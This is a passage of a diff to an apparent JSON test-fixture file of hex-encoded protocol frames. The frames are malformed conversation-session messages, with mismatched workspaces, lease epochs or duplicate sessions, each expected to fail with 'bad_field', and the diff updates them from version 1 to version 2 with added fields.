"574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-wrong-incarnation-in-message", "direction": "down", - "hex": "574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-mixed-workspace", "direction": "down", - "hex": "574d583101010000010000004b0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f6f74686572222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005c0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f6f74686572222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-mixed-lease-epoch", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a342c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a342c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-duplicate-logical-session", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-duplicate-backend-session", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313